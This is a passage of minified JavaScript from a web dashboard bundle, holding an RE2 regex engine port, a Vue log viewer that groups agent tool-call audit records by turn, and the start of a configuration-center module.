this.replaceAllFunc(e,()=>s,1)}replaceAllFunc(e,s,n){let a=0,i=0,l="";const r=Qt.fromUTF16(e);let o=0;for(;i<=e.length;){const c=this.executeEngine(r,i,xe.UNANCHORED,2);if(c===null||c.length===0)break;l+=e.substring(a,c[0]),(c[1]>a||c[0]===0)&&(l+=s(e.substring(c[0],c[1])),o++),a=c[1];const u=r.step(i)&7;if(i+u>c[1]?i+=u:i+1>c[1]?i++:i=c[1],o>=n)break}return l+=e.substring(a),l}pad(e){if(e===null)return null;let s=(1+this.numSubexp)*2;if(e.lengtha){let a=[];const i=e.endPos();s<0&&(s=i+1);let l=0,r=0,o=-1;for(;r=0&&(n[a]=e.slice(s[2*a],s[2*a+1]));return n}findUTF8SubmatchIndex(e){return this.pad(this.executeEngine(Qt.fromUTF8(e),0,xe.UNANCHORED,this.prog.numCap))}findSubmatch(e){const s=this.executeEngine(Qt.fromUTF16(e),0,xe.UNANCHORED,this.prog.numCap);if(s===null)return null;const n=new Array(1+this.numSubexp).fill(null);for(let a=0;a=0&&(n[a]=e.substring(s[2*a],s[2*a+1]));return n}findSubmatchIndex(e){return this.pad(this.executeEngine(Qt.fromUTF16(e),0,xe.UNANCHORED,this.prog.numCap))}findAllUTF8(e,s){const n=this.allMatches(Qt.fromUTF8(e),s,a=>e.slice(a[0],a[1]));return n.length===0?null:n}findAllUTF8Index(e,s){const n=this.allMatches(Qt.fromUTF8(e),s,a=>a.slice(0,2));return n.length===0?null:n}findAll(e,s){const n=this.allMatches(Qt.fromUTF16(e),s,a=>e.substring(a[0],a[1]));return n.length===0?null:n}findAllIndex(e,s){const n=this.allMatches(Qt.fromUTF16(e),s,a=>a.slice(0,2));return n.length===0?null:n}findAllUTF8Submatch(e,s){const n=this.allMatches(Qt.fromUTF8(e),s,a=>{let i=new Array(a.length/2|0).fill(null);for(let l=0;l=0&&(i[l]=e.slice(a[2*l],a[2*l+1]));return i});return n.length===0?null:n}findAllUTF8SubmatchIndex(e,s){const n=this.allMatches(Qt.fromUTF8(e),s);return n.length===0?null:n}findAllSubmatch(e,s){const n=this.allMatches(Qt.fromUTF16(e),s,a=>{let i=new Array(a.length/2|0).fill(null);for(let l=0;l=0&&(i[l]=e.substring(a[2*l],a[2*l+1]));return i});return n.length===0?null:n}findAllSubmatchIndex(e,s){const n=this.allMatches(Qt.fromUTF16(e),s);return n.length===0?null:n}},AS=class pl{static isHexadecimal(e){return"0"<=e&&e<="9"||"A"<=e&&e<="F"||"a"<=e&&e<="f"}static translate(e){let s="";if(e instanceof RegExp&&(e.ignoreCase&&(s+="i"),e.multiline&&(s+="m"),e.dotAll&&(s+="s"),e=e.source),typeof e!="string")return e;let n="",a=!1,i=e.length;i===0&&(n="(?:)",a=!0);let l=!1,r=0;for(;r=65&&p<=90||p>=97&&p<=122){let B=p%32;n+="\\x",n+=(B>>4).toString(16).toUpperCase(),n+=(B&15).toString(16).toUpperCase(),r+=3,a=!0;continue}}n+="c",r+=2,a=!0;continue;case"u":if(r+2=48&&p<=57||p>=65&&p<=90||p>=97&&p<=122){let B=Ye.charCount(p);n+=e.substring(r+1,r+1+B),r+=B+1,a=!0}else{n+="\\";let B=Ye.charCount(p);n+=e.substring(r+1,r+1+B),r+=B+1}continue}}}else if(c==="/"){n+="\\/",r+=1,a=!0;continue}else if(c==="[")l=!0;else if(c==="]")l=!1;else if(!l&&c==="("&&r+2)".includes(e[r+3])){n+="(?P<",r+=3,a=!0;continue}let u=e.codePointAt(r),d=Ye.charCount(u);n+=e.substring(r,r+d),r+=d}const o=a?n:e;return s.length>0?`(?${s})${o}`:o}},ms,kh=(ms=class{static quote(e){return Ye.quoteMeta(e)}static quoteReplacement(e,s=!1){return th.quoteReplacement(e,s)}static translateRegExp(e){return AS.translate(e)}static compile(e,s=0){let n=e;if((s&ms.CASE_INSENSITIVE)!==0&&(n=`(?i)${n}`),(s&ms.DOTALL)!==0&&(n=`(?s)${n}`),(s&ms.MULTILINE)!==0&&(n=`(?m)${n}`),(s&-544)!==0)throw new cS("Flags should only be a combination of MULTILINE, DOTALL, CASE_INSENSITIVE, DISABLE_UNICODE_GROUPS, LONGEST_MATCH, LOOKBEHINDS");let a=xe.PERL;(s&ms.DISABLE_UNICODE_GROUPS)!==0&&(a&=-129),(s&ms.LOOKBEHINDS)!==0&&(a|=xe.LOOKBEHIND);const i=new ms(e,s);return i.re2Input=TS.compileImpl(n,a,(s&ms.LONGEST_MATCH)!==0),i}static matches(e,s){return ms.compile(e).testExact(s)}static initTest(e,s,n){if(e==null)throw new Error("pattern is null");if(n==null)throw new Error("re2 is null");const a=new ms(e,s);return a.re2Input=n,a}constructor(e,s){this.patternInput=e,this.flagsInput=s,this.re2Input=null}reset(){this.re2Input.reset()}flags(){return this.flagsInput}pattern(){return this.patternInput}re2(){return this.re2Input}matches(e){return this.testExact(e)}matcher(e){return Ye.isByteArray(e)&&(e=Ii.utf8(e)),new th(this,e)}test(e){return Ye.isByteArray(e)?this.re2Input.matchUTF8(e):this.re2Input.match(e)}testExact(e){const s=Ye.isByteArray(e)?Qt.fromUTF8(e):Qt.fromUTF16(e);return this.re2Input.executeEngine(s,0,xe.ANCHOR_BOTH,0)!==null}exec(e){const s=this.matcher(e);if(!s.find())return null;const n=[s.group(0)];for(let i=1;i<=s.groupCount();i++){const l=s.group(i);n.push(l===null?void 0:l)}n.index=s.start(0),n.input=e;const a=this.namedGroups();if(Object.keys(a).length>0){const i=s.getNamedGroups();for(const l in i)i[l]===null&&(i[l]=void 0);n.groups=i}else n.groups=void 0;return n}split(e,s=0){const n=this.matcher(e),a=[];let i=0,l=0;for(;n.find();){if(l===0&&n.end()===0){l=n.end();continue}if(s>0&&a.length===s-1)break;if(l===n.start()){if(s===0){i+=1,l=n.end();continue}}else for(;i>0;)a.push(""),i-=1;a.push(n.substring(l,n.start())),l=n.end()}if(s===0&&l!==n.inputLength()){for(;i>0;)a.push(""),i-=1;a.push(n.substring(l,n.inputLength()))}return(s!==0||a.length===0&&!(l===n.inputLength()&&l>0))&&a.push(n.substring(l,n.inputLength())),a}*matchAll(e){const s=this.matcher(e);for(;s.find();){const n=[s.group(0)];for(let i=1;i<=s.groupCount();i++){const l=s.group(i);n.push(l===null?void 0:l)}n.index=s.start(0),n.input=e;const a=this.namedGroups();if(Object.keys(a).length>0){const i=s.getNamedGroups();for(const l in i)i[l]===null&&(i[l]=void 0);n.groups=i}else n.groups=void 0;yield n}}toString(){return this.patternInput}programSize(){return this.re2Input.numberOfInstructions()}groupCount(){return this.re2Input.numberOfCapturingGroups()}namedGroups(){return this.re2Input.namedGroups}equals(e){return this===e?!0:e===null||this.constructor!==e.constructor?!1:this.flagsInput===e.flagsInput&&this.patternInput===e.patternInput}},ye(ms,"CASE_INSENSITIVE",al.CASE_INSENSITIVE),ye(ms,"DOTALL",al.DOTALL),ye(ms,"MULTILINE",al.MULTILINE),ye(ms,"DISABLE_UNICODE_GROUPS",al.DISABLE_UNICODE_GROUPS),ye(ms,"LONGEST_MATCH",al.LONGEST_MATCH),ye(ms,"LOOKBEHINDS",al.LOOKBEHINDS),ms);const RS=new Set(["timestamp","type","level","tool_name","action","method","path","status","success","execution_time_ms","duration_ms","metadata","audit_metadata","turn","tool_input","audit_observer","_hmac","_prev_hmac","agent_id","agent_label","parent_agent_id","root_agent_id","originating_turn_id","turn_id","iteration","call_id","result_summary","detail","message","diff","error"]),IS=new Set(["agent_id","agent_label","label","parent_agent_id","root_agent_id","originating_turn_id","turn_id","iteration","call_id","status","duration_ms","tool_input_keys","audit_observer","_hmac","_prev_hmac"]);function OS(t){const e={};for(const s of["metadata","audit_metadata"]){if(!(t!=null&&t[s])||typeof t[s]!="object")continue;const n=Object.fromEntries(Object.entries(t[s]).filter(([a])=>!IS.has(a)));Object.keys(n).length&&(e[s]=n)}return Object.keys(e).length?Vr(e):""}function LS(t){var a,i,l,r;const e=t.record;if(!e)return{body:t.text,action:"",status:"",duration:null};let s;for(const o of["result_summary","detail","message","diff","error"])if(e[o]!==void 0&&e[o]!==null&&e[o]!==""){s=e[o];break}if(s===void 0&&((a=e.metadata)!=null&&a.error)&&(s=e.metadata.error),s===void 0){const o=Object.fromEntries(Object.entries(e).filter(([c])=>!RS.has(c)));s=Object.keys(o).length?Vr(o):""}const n=e.status??((i=e.metadata)==null?void 0:i.status)??(e.error||e.success===!1?"failed":e.success===!0?"success":["tool_start","loop_tool_start"].includes(e.type)?"started":"");return{body:s,action:e.tool_name||e.action||(e.method?`${e.method} ${e.path||""}`.trim():e.type||""),status:n,duration:e.execution_time_ms??e.duration_ms??((l=e.metadata)==null?void 0:l.duration_ms)??((r=e.metadata)==null?void 0:r.elapsed_ms)??null}}const oi=t=>t!==null&&typeof t=="object"&&!Array.isArray(t),Wr=t=>typeof t=="string"||typeof t=="number"?String(t):"";function NS(t){const e=oi(t)?t:{},s=oi(e.metadata)?e.metadata:{},n=oi(e.audit_metadata)?e.audit_metadata:{},a=oi(e.turn)?e.turn:{},i=l=>Wr(e[l]??s[l]??n[l]??a[l]);return{agentId:i("agent_id"),label:i("agent_label")||i("label"),parentId:i("parent_agent_id"),rootId:i("root_agent_id"),turnId:i("originating_turn_id")||i("turn_id"),iteration:i("iteration"),callId:i("call_id")}}function Dh(t){return t.record?JSON.stringify(Eb(t),null,2):t.text}function Eb(t){var e;return((e=t.events)==null?void 0:e.length)>1?t.events:t.record}function Gd(t){return t!=null&&t.tool_name?["tool_start","loop_tool_start"].includes(t.type)?"start":["tool_end","loop_tool"].includes(t.type)?"end":(!t.type||t.type==="execution")&&"result_summary"in t?"execution":"":""}function Sh(t){if(!Gd(t.record))return"";const e=t.attribution,s=t.record;return!e.callId||!e.turnId&&!e.agentId?"":JSON.stringify([e.turnId,e.agentId,e.iteration,e.callId,t.tool,Wr(s.channel_id),Wr(s.user_id??s.actor)])}function FS(t,e,s=2e3){var i,l,r;const n=Sh(e),a=n?t.findIndex(o=>Sh(o)===n):-1;if(a<0)t.push(e);else{const o=t[a],c=[...o.events||[o.record]],u=JSON.stringify(e.record);if(c.some(C=>JSON.stringify(C)===u))return;c.push(e.record);const d=C=>"result_summary"in C?2:Gd(C)==="end"?1:0,p=[...c].sort((C,v)=>d(C)-d(v)),B=Object.assign({},...p);B.type=p[p.length-1].type||"execution";for(const C of["metadata","audit_metadata","turn"]){const v=p.filter(m=>oi(m[C])).map(m=>m[C]);v.length&&(B[C]=Object.assign({},...v))}const h=c.some(C=>Gd(C)!=="start"),b=c.find(C=>Ud(C,0).level==="ERROR"),w=(b==null?void 0:b.status)||((i=b==null?void 0:b.metadata)==null?void 0:i.status);B.status=b?["failed","error","cancelled","denied","outcome_unknown"].includes(w)?w:"failed":h?B.status||((l=B.metadata)==null?void 0:l.status)||"succeeded":"started",h&&B.status==="started"&&(B.status="succeeded"),b&&(B.error=b.error||((r=b.metadata)==null?void 0:r.error)||B.error);const _=Ud(B,o.id,o._time);Object.assign(_,{events:c,ts:o.ts,_time:o._time,searchText:c.map(C=>JSON.stringify(C)).join(` +`)}),t.splice(a,1,_)}t.length>s&&t.splice(0,t.length-s)}function Ud(t,e,s=new Date){var d,p;let n=t;if(oi(t)&&t.type==="log"&&"line"in t?n=t.line:oi(t)&&"payload"in t&&(n=t.payload),typeof n=="string")try{n=JSON.parse(n)}catch{}const a=oi(n)?n:null,i=a!=null&&a.timestamp?new Date(a.timestamp):s,l=Number.isNaN(i.getTime())?s:i,r=a?a.result_summary??a.detail??a.message??JSON.stringify(a):typeof n=="string"?n:JSON.stringify(n)??"",c=(a==null?void 0:a.error)||((d=a==null?void 0:a.metadata)==null?void 0:d.error)||(a==null?void 0:a.success)===!1||[a==null?void 0:a.status,(p=a==null?void 0:a.metadata)==null?void 0:p.status].some(B=>["failed","error","cancelled","denied","outcome_unknown"].includes(B))?"ERROR":Wr(a==null?void 0:a.level).toUpperCase()||"INFO",u={id:e,record:a,ts:l.toLocaleTimeString(),_time:l,level:c,text:typeof r=="string"?r:JSON.stringify(r),tool:Wr(a==null?void 0:a.tool_name),raw:a?null:r,attribution:NS(a)};return u.searchText=a?JSON.stringify(a):u.text,u}function MS(t){const e=new Map;for(const s of t){const{turnId:n,agentId:a,rootId:i,label:l,parentId:r}=s.attribution,o=n?`turn:${n}`:a?`root:${i||a}`:"unattributed";e.has(o)||e.set(o,{key:o,title:n?`Turn ${n}`:a?`Agent root ${i||a} (turn unavailable)`:"Unattributed / legacy records",count:0,sections:[],_sections:new Map});const c=e.get(o),u=a?`agent:${a}`:"main";if(!c._sections.has(u)){const d={key:u,agentId:a,label:l,parentId:r,rootId:i,title:a?`${l||"Agent"} (${a})`:"Main thread / turn events",entries:[]};c._sections.set(u,d),c.sections.push(d)}c._sections.get(u).entries.push(s),c.count++}return[...e.values()].map(({_sections:s,...n})=>n)}const PS={components:{ToolOutput:lu},props:{entry:{type:Object,required:!0}},emits:["copy"],setup(t){const e=G(()=>LS(t.entry)),s=G(()=>{var r;return Vr(((r=t.entry.record)==null?void 0:r.tool_input)??"")}),n=G(()=>{var r,o,c;return Vr(((r=t.entry.record)==null?void 0:r.error)||((c=(o=t.entry.record)==null?void 0:o.metadata)==null?void 0:c.error)||"")}),a=G(()=>OS(t.entry.record)),i=G(()=>Eb(t.entry)),l=G(()=>(t.entry.events||[t.entry.record]).filter(Boolean).map(r=>{var o;return{type:r.type||"execution",timestamp:r.timestamp||"Time not recorded",status:r.status||((o=r.metadata)==null?void 0:o.status)||""}}));return{display:e,argumentsText:s,errorText:n,metadataText:a,rawRecord:i,lifecycle:l}},template:` +
    + + + + + +
    `},HS=["INFO","WARNING","ERROR"],Th="WARNING+",GS=[{id:"all",name:"All Logs",icon:"list",filters:{}},{id:"errors",name:"Errors Only",icon:"error",filters:{level:"ERROR"}},{id:"warnings",name:"Warnings+",icon:"warning",filters:{levels:["WARNING","ERROR"]}},{id:"tools",name:"Tool Activity",icon:"wrench",filters:{hasToolName:!0}},{id:"recent-errors",name:"Recent Errors",icon:"flame",filters:{level:"ERROR",timeRange:"last_1h"}}],Ku=[{value:"",label:"All Time"},{value:"last_5m",label:"Last 5 min",seconds:300},{value:"last_15m",label:"Last 15 min",seconds:900},{value:"last_1h",label:"Last 1 hour",seconds:3600},{value:"last_4h",label:"Last 4 hours",seconds:14400},{value:"last_24h",label:"Last 24 hours",seconds:86400}],US=[50,100,200,500],$S={components:{ToolOutput:lu,LogRecord:PS,DiscordIdentity:hi},template:` +
    +
    +
    +

    Logs

    +

    + {{ filteredLogs.length.toLocaleString() }} / {{ logs.length.toLocaleString() }} entries +

    +

    + {{ searchResults.length.toLocaleString() }} results +

    +
    +
    + +
    + + +
    + + +
    +
    + + + + + + +
    `,setup(){const t=f("live"),e=f([]);let s=0;const n=f(!1),a=f(!1),i=f(!0),l=f(""),r=f(""),o=f(!1),c=f(!1),u=f(wt.state||"disconnected"),d=G(()=>{switch(u.value){case"connected":return"Live";case"connecting":return"Connecting…";case"reconnecting":return"Reconnecting…";default:return"Disconnected"}}),p=f(null),B=f(!1),h=f(null),b=2e3,w=HS,_=GS,C=Ku,v=f("all"),m=f(""),y=f(!1),k=f([]),x=f(!1),A=f(""),S=f([]),L=f(0),O=gb();function I(){try{const oe=localStorage.getItem("odin-log-presets");oe&&(k.value=JSON.parse(oe))}catch{}}function J(){try{localStorage.setItem("odin-log-presets",JSON.stringify(k.value))}catch{}}const ie=G(()=>l.value!==""||r.value.trim()!==""||m.value!==""||y.value),te=G(()=>{const oe=Ku.find(Me=>Me.value===m.value);return oe?oe.label:""}),R=G(()=>{if(!o.value||!r.value)return null;try{if(r.value.length>512)throw new Error("Regex is limited to 512 characters");return kh.compile(r.value,kh.CASE_INSENSITIVE)}catch(oe){return{error:oe.message}}}),j=G(()=>{var oe;return!o.value||!r.value?null:((oe=R.value)==null?void 0:oe.error)||null}),N=24,z=G(()=>{if(Ge.value.length===0)return[];const oe=[],Me=new Date(O.value),Qe=3600*1e3;for(let yt=N-1;yt>=0;yt--){const Vt=new Date(Me.getTime()-(yt+1)*Qe),is=new Date(Me.getTime()-yt*Qe);oe.push({start:Vt,end:is,label:re(Vt,is),shortLabel:is.toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"}),total:0,info:0,warnings:0,errors:0})}for(const yt of Ge.value){if(!yt._time)continue;const Vt=yt._time.getTime();for(const is of oe)if(Vt>=is.start.getTime()&&Vt{let oe=1;for(const Me of z.value)Me.total>oe&&(oe=Me.total);return oe}),Q=G(()=>{if(z.value.length===0)return"";const oe=Ge.value.map(yt=>yt._time&&yt._time.getTime()).filter(Boolean);if(oe.length===0)return"";const Me=new Date(Math.min(...oe));return`${Ge.value.length} shown, oldest ${Me.toLocaleTimeString()}`}),Y=G(()=>Math.ceil(N/8));function re(oe,Me){const Qe={hour:"2-digit",minute:"2-digit"};return oe.toLocaleTimeString([],Qe)+" - "+Me.toLocaleTimeString([],Qe)}function K(oe,Me){return!Me||!oe?"0px":Math.max(2,oe/Me*100)+"%"}function _e(oe){const Me=Ge.value.findIndex(Qe=>Qe._time&&Qe._time.getTime()>=oe.start.getTime()&&Qe._time.getTime()=0&&p.value){const Qe=p.value.querySelector('[data-log-id="'+Ge.value[Me].id+'"]');Qe&&(Qe.scrollIntoView({behavior:"smooth",block:"center"}),i.value=!1)}}const Ge=G(()=>{let oe=e.value;if(y.value&&(oe=oe.filter(Me=>!!Me.tool)),l.value)if(l.value===Th){const Me={INFO:0,WARNING:1,ERROR:2,CRITICAL:3};oe=oe.filter(Qe=>Me[Qe.level||"INFO"]>=Me.WARNING)}else oe=oe.filter(Me=>(Me.level||"INFO")===l.value);if(m.value){const Me=Ku.find(Qe=>Qe.value===m.value);if(Me&&Me.seconds){const Qe=new Date(O.value-Me.seconds*1e3);oe=oe.filter(yt=>yt._time&&yt._time>=Qe)}}if(r.value&&!j.value)if(o.value)try{const Me=R.value;oe=oe.filter(Qe=>{const yt=Qe.searchText,Vt=Qe.tool||"";return Me.test(yt)||Me.test(Vt)})}catch{}else{const Me=r.value.toLowerCase();oe=oe.filter(Qe=>{const yt=Qe.searchText.toLowerCase(),Vt=(Qe.tool||"").toLowerCase();return yt.includes(Me)||Vt.includes(Me)})}return oe}),de=G(()=>MS(Ge.value));function ue(oe){const Me=Ud(oe,++s);if(a.value){S.value.length>=b&&L.value++,S.value.push(Me),S.value.length>b&&S.value.shift();return}ve(Me)}function ve(oe){FS(e.value,oe,b),i.value&&ns(()=>$())}function $(oe=!1){const Me=p.value;Me&&Me.scrollTo({top:Me.scrollHeight,behavior:oe?"smooth":"instant"})}function se(){i.value=!0,B.value=!1,ns(()=>$(!0))}const De=new Set(["PageUp","PageDown","ArrowUp","ArrowDown","Home","End"," "]);function E(){const oe=p.value;if(!oe)return;const Me=oe.scrollHeight-oe.scrollTop-oe.clientHeight<40;B.value=!i.value&&!Me&&e.value.length>0,fe.value&&M()}function M(){const oe=p.value;!oe||!i.value||oe.scrollHeight-oe.scrollTop-oe.clientHeight>=40&&(i.value=!1,B.value=e.value.length>0)}function V(){i.value&&requestAnimationFrame(M)}function Ce(oe){De.has(oe.key)&&V()}const fe=f(!1);function be(){i.value&&(fe.value=!0,requestAnimationFrame(M))}function Ae(){fe.value&&(fe.value=!1,M())}function W(){i.value&&(B.value=!1,ns(()=>$()))}function pe(){if(a.value=!a.value,!a.value&&S.value.length>0){for(const oe of S.value)ve(oe);S.value=[]}}function ne(){L.value=0,e.value=[],S.value=[],B.value=!1}function ke(){let oe;t.value==="search"?oe=ht.value.map(Vt=>{const is=Vt.error?"ERROR":"INFO",Ua=Vt.tool_name?`[${Vt.tool_name}] `:"";return`${Vt.timestamp||""} ${is} ${Ua}${Vt.result_summary||Vt.message||""}`}).join(` +`):oe=Ge.value.map(Dh).join(` + +`);const Me=new Blob([oe],{type:"text/plain"}),Qe=URL.createObjectURL(Me),yt=document.createElement("a");yt.href=Qe,yt.download=`odin-logs-${new Date().toISOString().slice(0,19).replace(/:/g,"-")}.txt`,yt.click(),URL.revokeObjectURL(Qe)}function we(oe){const Me=Dh(oe);navigator.clipboard.writeText(Me).then(()=>{h.value=oe.id,setTimeout(()=>{h.value=null},1500)}).catch(()=>{})}function Le(oe){l.value=l.value===oe?"":oe,v.value="all",y.value=!1}function je(oe){return oe.level==="ERROR"?"log-line-error":oe.level==="WARNING"?"log-line-warning":"text-gray-300"}function tt(oe){return oe==="ERROR"?"text-red-500 font-semibold":oe==="WARNING"?"text-yellow-500":"text-blue-500"}function lt(oe){return oe==="ERROR"?"log-chip-error":oe==="WARNING"?"log-chip-warning":"log-chip-info"}function ae(oe){v.value=oe.id;const Me=oe.filters;l.value=Me.level||"",m.value=Me.timeRange||"",r.value=Me.text||"",y.value=!!Me.hasToolName,Me.levels&&(l.value=Me.levels.includes("WARNING")&&Me.levels.includes("ERROR")?Th:Me.levels[0]||"")}function Se(oe){v.value=oe.id,l.value=oe.filters.level||"",m.value=oe.filters.timeRange||"",r.value=oe.filters.text||"",y.value=!!oe.filters.hasToolName}function Te(){if(!A.value.trim())return;const oe={id:"custom-"+Date.now(),name:A.value.trim(),filters:{level:l.value,timeRange:m.value,text:r.value,hasToolName:y.value||void 0}};k.value=[...k.value,oe],J(),x.value=!1,A.value=""}function $e(oe){k.value=k.value.filter(Me=>Me.id!==oe),J(),v.value===oe&&(v.value="all",m.value="",y.value=!1,l.value="",r.value="")}const st=f("all"),le=f(""),Fe=f(""),Ue=f(""),Oe=f(""),He=f(""),me=f(100),Ke=US,We=f(!1),gt=f(!1),$t=f(""),ht=f([]),St=f(null),ys=f(null);function zs(){t.value="search",St.value||Sn()}async function Sn(){try{St.value=await U.get("/api/logs/stats")}catch{}}function ks(){const oe=He.value;if(!oe){Ue.value="",Oe.value="";return}const Qe={last_5m:300,last_15m:900,last_1h:3600,last_4h:14400,last_24h:86400,last_7d:604800}[oe];if(Qe){const yt=new Date(Date.now()-Qe*1e3);Ue.value=Tn(yt),Oe.value=""}}function Tn(oe){const Me=Qe=>String(Qe).padStart(2,"0");return`${oe.getFullYear()}-${Me(oe.getMonth()+1)}-${Me(oe.getDate())}T${Me(oe.getHours())}:${Me(oe.getMinutes())}`}function ln(oe){if(!oe)return"";const Me=new Date(oe);return isNaN(Me.getTime())?"":Me.toISOString()}let bn=0;async function Fs(){if(We.value)return;const oe=++bn;We.value=!0,$t.value="",gt.value=!0,ys.value=null;try{const Me=new URLSearchParams;st.value&&st.value!=="all"&&Me.set("level",st.value),le.value&&Me.set("tool",le.value),Fe.value&&Me.set("q",Fe.value);const Qe=ln(Ue.value),yt=ln(Oe.value);Qe&&Me.set("start",Qe),yt&&Me.set("end",yt),Me.set("limit",String(me.value));const Vt=await U.get(`/api/logs/search?${Me.toString()}`);if(oe!==bn)return;ht.value=Vt.entries||[]}catch(Me){if(oe!==bn)return;$t.value=Me.message||"Search failed",ht.value=[]}finally{oe===bn&&(We.value=!1)}}function da(){bn++,st.value="all",le.value="",Fe.value="",Ue.value="",Oe.value="",He.value="",me.value=100,ht.value=[],gt.value=!1,$t.value="",ys.value=null,We.value=!1}function qs(oe){ys.value=ys.value===oe?null:oe}function Gt(oe){if(!oe.timestamp)return"";try{return new Date(oe.timestamp).toLocaleString()}catch{return oe.timestamp}}function Vs(oe){return oe.type==="web_action"?`${oe.status||""} (${oe.execution_time_ms||0}ms)`:(oe.result_summary||"").slice(0,200)}function pa(oe){return oe.error?"log-line-error":"text-gray-300"}function qn(oe){try{return JSON.stringify(oe,null,2)}catch{return String(oe)}}let et=null,rn=!1;function on(){rn||(rn=!0,wt.subscribe("logs",ue),c.value=wt.connected,u.value=wt.state||"disconnected",et=wt.onState(oe=>{u.value=oe,c.value=oe==="connected"}))}function Ks(){rn&&(rn=!1,wt.unsubscribe("logs",ue),et&&(et(),et=null))}return dt(()=>{I(),window.addEventListener("pointerup",Ae),window.addEventListener("pointercancel",Ae)}),hs(on),as(Ks),It(()=>{Ks(),window.removeEventListener("pointerup",Ae),window.removeEventListener("pointercancel",Ae)}),{mode:t,logs:e,paused:a,autoScroll:i,levelFilter:l,textFilter:r,useRegex:o,groupByTurn:n,groupedLogs:de,subscribed:c,wsState:u,wsStateLabel:d,logContainer:p,filteredLogs:Ge,pauseBuffer:S,pauseDropped:L,showJumpBottom:B,copiedIndex:h,regexError:j,levels:w,logPresets:_,timeRanges:C,timeRange:m,toolOnly:y,activeLogPreset:v,customLogPresets:k,showSaveLogPreset:x,newLogPresetName:A,hasActiveLogFilters:ie,timeRangeLabel:te,timelineBuckets:z,timelineMax:ee,timelineSpanLabel:Q,timelineLabelSkip:Y,togglePause:pe,clearLogs:ne,exportLogs:ke,logLineClass:je,levelClass:tt,levelChipClass:lt,toggleLevel:Le,copyLine:we,jumpToBottom:se,onScroll:E,onUserScrollIntent:V,onUserScrollKey:Ce,onAutoScrollToggle:W,onPointerDown:be,applyLogPreset:ae,applyCustomLogPreset:Se,saveLogCustomPreset:Te,removeLogCustomPreset:$e,segmentHeight:K,jumpToTimelineBucket:_e,searchLevel:st,searchTool:le,searchKeyword:Fe,searchStart:Ue,searchEnd:Oe,searchTimePreset:He,searchLimit:me,searchLimits:Ke,searching:We,searchRan:gt,searchError:$t,searchResults:ht,searchStats:St,expandedSearch:ys,switchToSearch:zs,runSearch:Fs,clearSearchFilters:da,toggleSearchExpand:qs,formatSearchTs:Gt,searchEntryText:Vs,searchLogLineClass:pa,formatJson:qn,applySearchTimePreset:ks}}};function Go(t=[]){const e=[],s=new Set;function n(a){const i=[a.kind,a.label,a.apply_mode||"",a.code||"",a.text||""].join("\0");s.has(i)||(s.add(i),e.push({...a,key:i}))}for(const a of t)for(const i of(a==null?void 0:a.consumers)||[])n({kind:"consumer",label:i.name,apply_mode:i.apply_mode,text:i.detail});for(const a of t)a!=null&&a.apply_handler&&n({kind:"handler",label:"Apply handler",code:a.apply_handler});for(const a of t)a!=null&&a.restart_reason&&n({kind:"restart",label:"Why a restart is required",text:a.restart_reason});for(const a of t)a!=null&&a.activation_policy&&n({kind:"activation",label:"Activation policy",text:a.activation_policy});return e}const jS=Object.freeze([{key:"all",label:"All fields",short:"All",icon:"grid"},{key:"applied",label:"Applied",short:"Applied",icon:"success"},{key:"pending_restart",label:"Pending restart",short:"Restart",icon:"refresh"},{key:"dormant",label:"Saved, not active",short:"Saved only",icon:"pause"},{key:"invalid",label:"Invalid",short:"Invalid",icon:"error"},{key:"drift",label:"Drift",short:"Drift",icon:"warning"},{key:"unknown",label:"Effective state unknown",short:"Unknown",icon:"info"}]);function JS(t,e={}){var a,i;const s=e.getStyle||(l=>globalThis.getComputedStyle(l)),n=Object.hasOwn(e,"fallback")?e.fallback:(a=globalThis.document)==null?void 0:a.scrollingElement;for(let l=t;l;l=l.parentElement){const r=((i=s(l))==null?void 0:i.overflowY)||"";if(/^(auto|scroll|overlay)$/.test(r)&&l.scrollHeight>l.clientHeight)return l}return n&&n.scrollHeight>n.clientHeight?n:t||n||null}const kl=[{key:"core",label:"Core",icon:"sliders",sections:["timezone","logging","permissions","graceful_degradation"]},{key:"models",label:"Models & AI",icon:"brain",sections:["image","llm_recovery"]},{key:"runtime",label:"Runtime",icon:"activity",sections:["context","sessions","agents","turn_state"]},{key:"data",label:"Data & Storage",icon:"database",sections:["learning","search","usage","audit","attachments"]},{key:"services",label:"Services",icon:"link",sections:["webhook","observability","email","browser","mcp"]},{key:"automation",label:"Automation",icon:"workflow",sections:["outbound_webhooks"]},{key:"infrastructure",label:"Infrastructure",icon:"server",sections:["tools","web"]}],zS={live_read:"Applies immediately",live_apply:"Dedicated live apply",live_for_new_work:"Applies to new work",restart:"Restart required",activation_required:"Saved only — see activation note",legacy_control:"Controlled elsewhere",dormant:"Saved for future support"},Uo=new Set(["llm_provider","openai_codex","ollama","openai_compatible","kimi","personality","discord","computer"]),qS=Object.freeze(["web.api_tokens","outbound_webhooks.targets"]);function Ah(t){return qS.some(e=>t===e||t.startsWith(`${e}.`))}const kb="odin_config_center_expanded_v1",Db="odin_config_center_category_v1",VS=50,KS=650,nr=()=>U.get("/api/config/meta");function Di(t){return t===void 0?void 0:JSON.parse(JSON.stringify(t))}function gl(t,e){return JSON.stringify(t)===JSON.stringify(e)}function il(t){return String(t).replace(/[_-]+/g," ").replace(/\b\w/g,e=>e.toUpperCase())}function WS(t){return t===void 0?"unset":t===null?"null":typeof t=="boolean"?t?"Enabled":"Disabled":Array.isArray(t)?t.length?`${t.length} item${t.length===1?"":"s"}`:"Empty list":typeof t=="object"?Object.keys(t).length?`${Object.keys(t).length} field${Object.keys(t).length===1?"":"s"}`:"Empty object":t===""?"Empty":String(t)}function QS(t){if(t===void 0)return"unset";if(t===null)return"null";if(typeof t=="object")try{return JSON.stringify(t,null,2)}catch{return String(t)}return String(t)}function Sb(t,e){if(gl(t,e))return;if(!(t&&e&&typeof t=="object"&&typeof e=="object"&&!Array.isArray(t)&&!Array.isArray(e)))return Di(e);const n={};for(const[a,i]of Object.entries(e)){const l=Sb(t[a],i);l!==void 0&&(n[a]=l)}return Object.keys(n).length?n:void 0}function YS(t,e){const s={};for(const[n,a]of Object.entries(e||{})){const i=Sb(t==null?void 0:t[n],a);i!==void 0&&(s[n]=i)}return s}function Tb(t,e,s,n){if(gl(t,e))return;if(t&&e&&typeof t=="object"&&typeof e=="object"&&!Array.isArray(t)&&!Array.isArray(e)){const i=new Set([...Object.keys(t),...Object.keys(e)]);for(const l of i)Tb(t[l],e[l],s?`${s}.${l}`:l,n);return}n.push({path:s,oldVal:t,newVal:e})}function ZS(){try{const t=JSON.parse(localStorage.getItem(kb)||"{}");return t&&typeof t=="object"&&!Array.isArray(t)?t:{}}catch{return{}}}function XS(){try{const t=localStorage.getItem(Db);return 